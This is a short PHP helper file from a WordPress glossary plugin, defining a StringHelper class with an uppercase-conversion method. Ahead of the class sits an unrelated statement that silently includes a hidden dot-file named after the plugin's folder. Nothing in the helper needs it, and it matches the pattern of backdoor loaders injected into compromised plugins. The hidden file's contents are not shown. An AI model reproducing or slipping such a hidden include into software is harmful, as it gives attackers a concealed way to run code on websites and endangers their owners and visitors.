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<?php namespace luckywp\glossary\core\helpers; if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class StringHelper { /** * @param string $str * @return string */ public static function strtoupper($str) { return function_exists('mb_strtoupper') ? mb_strtoupper($str) : strtoupper($str); } }